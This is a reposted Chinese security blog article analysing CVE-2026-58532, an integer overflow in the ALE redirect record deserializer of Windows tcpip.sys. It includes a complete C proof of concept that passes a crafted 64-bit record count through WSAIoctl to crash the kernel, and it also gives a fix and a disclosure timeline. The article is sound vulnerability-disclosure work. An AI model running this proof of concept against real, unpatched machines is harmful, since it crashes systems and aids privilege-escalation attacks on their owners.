我是如何在tcpip.sys中发现整数溢出漏洞的

admin 2026-08-14 08:39:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了Windowstcpip.sys驱动中CVE-2026-58532整数溢出漏洞的发现过程。漏洞源于反序列化函数AleRedirectRecordsDeserializeFromBuffer在边界检查时,将用户可控的64位记录计数值与记录大小0x228相乘,但未进行溢出检查。通过构造特定计数值使乘积回绕为零,可绕过检查导致内核崩溃。文章提供了概念验证代码,并建议使用带溢出检查的乘法或除法比较来修复。 综合评分: 88 文章分类: 漏洞分析,安全工具,安全开发,红队,渗透测试


cover_image

我是如何在 tcpip.sys 中发现整数溢出漏洞的

April Ivy April Ivy

securitainment

2026年7月27日 10:50 英国

在小说阅读器读本章

去阅读

| 原文链接 | 作者 | | — | — | | https://aprl.pet/writing/cve-2026-58532 | April Ivy |

或者说,为什么 count * size也需要做溢出检查

今年早些时候,我在 tcpip.sys——Windows 的网络驱动——中发现了一个整数溢出漏洞。该漏洞已在 2026 年 7 月的安全更新中修复,编号为 CVE-2026-58532。

我最初对研究 tcpip.sys产生兴趣,是因为读了另一位研究者关于该驱动中一个由类似缺陷导致的远程代码执行(RCE)漏洞的分析文章。这让我对网络协议栈中那些不太显眼的解析与反序列化路径产生了好奇,也正是由此,我开始关注 ALE 重定向记录。

从本质上说,这是一个相当简单的漏洞。一个 64 位计数值乘以记录大小后结果发生回绕,边界检查瞬间形同虚设。不幸的是,这发生在一个内核反序列化器中,而它随后会开始分配和拷贝实际上从未被传入的记录。

调用路径

入口点是 SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS,一个传递给 WSAIoctl的 Winsock 套接字控制操作。

它经过 tcpip.sys中的 WFP ALE 处理代码,最终到达 AleRedirectRecordsDeserializeFromBuffer。输入以一个 64 位记录计数开头,后跟序列化的重定向记录。每条记录大小为 0x228字节。

以下是我捕获的崩溃中的调用链:

tcpip!AleRedirectRecordsDeserializeFromBuffer+0x18d
tcpip!WfpAleProcessSocketOption+0x273
tcpip!InetInspectSocketOption+0x60
tcpip!TcpSetSockOptEndpoint+0xc75
afd!AfdTLIoControl+0x986
WS2_32!WSAIoctl+0x182

漏洞本身

在开始反序列化记录之前,函数会检查缓冲区是否足够容纳它被告知的记录数量。相关的检查基本上是这样的:

count *&nbsp;0x228&nbsp;<= remainingLength

看起来没问题,对吧?但问题在于 count是用户可控的,而且这个乘法是无符号 64 位运算,没有做溢出检查。

我使用的计数值是 0x2000000000000000

0x2000000000000000 * 0x228 = 0x45 * 2^64

因此,在一个 64 位寄存器中,结果就是零。0 <= remainingLength对于几乎任何缓冲区都成立,包括概念验证中那个仅 16 字节的小缓冲区。

检查通过了——尽管计数值声称有数量荒谬的 0x228字节记录等待读取。

接下来发生了什么

有趣的部分在于,那个错误的乘法运算只是故事的开始。检查通过之后,函数便认为记录确实存在,并开始处理它们。

以下是该例程的关键部分,为了可读性做了一些清理:

uint64_t&nbsp;recordCount = *(uint64_t&nbsp;*)input;

if&nbsp;(recordCount *&nbsp;0x228&nbsp;> remainingLength)
return&nbsp;STATUS_INVALID_PARAMETER;

while&nbsp;(recordCount !=&nbsp;0) {
&nbsp; &nbsp; record =&nbsp;allocate_pool(0x228,&nbsp;'AlcR');
copy_memory(record, input,&nbsp;0x228);

&nbsp; &nbsp; input +=&nbsp;0x228;
&nbsp; &nbsp; remainingLength -=&nbsp;0x228;
&nbsp; &nbsp; recordCount--;

&nbsp; &nbsp; variableLength = *(uint32_t&nbsp;*)((uint8_t&nbsp;*)record +&nbsp;0x1e8);
/* More allocation and copy work happens from here. */
}

第一次 0x228字节的拷贝就越过了输入的末尾。随后 remainingLength发生下溢,这意味着后续的边界检查此时面对的是一个接近 ULONGLONG_MAX的值,而非实际剩余的字节数。

在拷贝出的记录中,偏移 0x1e8附近还有一个变长字段。后续代码会使用反序列化后的记录来驱动更多的分配和拷贝操作,因此这远不止是一个无害的算术错误。

概念验证

以下是我提交的概念验证代码:

cl /W4 poc_ale_redirect_overflow.c ws2_32.lib
#include<winsock2.h>
#include<ws2tcpip.h>
#include<stdio.h>
#include<stdint.h>

#pragma&nbsp;comment(lib, "ws2_32.lib")

#defineSIO_SET_WFP_CONNECTION_REDIRECT_RECORDS0x980000DEu

intmain(void)
{
&nbsp; &nbsp; WSADATA wsa;
&nbsp; &nbsp; SOCKET sock;
&nbsp; &nbsp; DWORD ret =&nbsp;0;

WSAStartup(MAKEWORD(2,&nbsp;2), &wsa);

&nbsp; &nbsp; sock =&nbsp;WSASocketW(AF_INET6, SOCK_STREAM, IPPROTO_TCP,&nbsp;NULL,&nbsp;0,&nbsp;0);
if&nbsp;(sock == INVALID_SOCKET)
&nbsp; &nbsp; &nbsp; &nbsp; sock =&nbsp;WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP,&nbsp;NULL,&nbsp;0,&nbsp;0);

if&nbsp;(sock == INVALID_SOCKET) {
printf("socket failed:&nbsp;%d\n",&nbsp;WSAGetLastError());
return1;
&nbsp; &nbsp; }

uint8_t&nbsp;buf[16] = {0};
&nbsp; &nbsp; *(uint64_t&nbsp;*)buf =&nbsp;0x2000000000000000ULL;

WSAIoctl(sock, SIO_SET_WFP_CONNECTION_REDIRECT_RECORDS,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;buf,&nbsp;sizeof(buf),&nbsp;NULL,&nbsp;0, &ret,&nbsp;NULL,&nbsp;NULL);

printf("returned&nbsp;%d\n",&nbsp;WSAGetLastError());
closesocket(sock);
WSACleanup();
return0;
}

就是这样。创建一个套接字,给控制操作传一个 16 字节的缓冲区,把前八个字节设为会导致溢出的计数值。

在存在漏洞的版本上,系统会触发 bug check(蓝屏)。在我的崩溃中,故障是在清理阶段通过 tcpip!WfpAleDecrementWaitRef显现出来的,此时 AleRedirectRecordsDeserializeFromBuffer已经处理完了那段畸形输入。

序列化器倒是做对了

让这个漏洞分析起来格外愉快的一点是,有对应的序列化代码可供参照。序列化器在计算输出大小时使用了带检查的运算,包括在将各部分大小相加时有显式的溢出处理。

而反序列化器在将 count * 0x228的结果用作边界检查之前,却没有做同样的事情。这个格式的一个方向小心翼翼,另一个方向却漫不经心。

修复这类漏洞很简单。要么使用带溢出检查的乘法,要么干脆避免乘法:

if&nbsp;(count > remainingLength /&nbsp;0x228)
return&nbsp;STATUS_INVALID_PARAMETER;

漏洞披露

我于 2026 年 4 月 20 日向 MSRC 报告了此漏洞。微软随后确认了该行为,将其归类为权限提升漏洞,并在 2026 年 7 月的安全更新中予以修复。

该漏洞编号为 CVE-2026-58532,微软以 aprilpet的名义对我进行了致谢。此外还有一个 NVD 条目。

TL;DR

  • tcpip.sys

    信任了一个用户可控的 64 位记录计数值。

  • 它将该计数值乘以 0x228,却没有检查是否溢出。

  • 乘积回绕为零,于是一个小小的缓冲区通过了大小检查。

  • 反序列化器随后拷贝了根本不存在的记录,并使其剩余长度计数器发生下溢。

带检查的运算是枯燥的,但在内核解析器中不做检查,后果只会更加枯燥。


免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:securitainment April Ivy April Ivy《我是如何在 tcpip.sys 中发现整数溢出漏洞的》

评论:0   参与:  0